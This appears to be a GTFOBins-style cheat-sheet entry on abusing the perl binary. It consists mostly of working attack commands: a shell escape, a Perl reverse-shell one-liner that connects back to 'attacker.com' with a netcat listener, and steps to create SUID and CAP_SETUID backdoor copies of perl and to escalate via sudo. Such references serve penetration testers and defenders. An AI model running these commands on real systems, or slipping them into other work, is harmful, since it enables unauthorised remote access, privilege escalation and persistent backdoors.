Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

perl -e 'exec "/bin/sh";'

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

sudo install -m =xs $(which perl) .

./perl -e 'exec "/bin/sh";'

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo perl -e 'exec "/bin/sh";'

Capabilities

If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

cp $(which perl) .
sudo setcap cap_setuid+ep perl

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'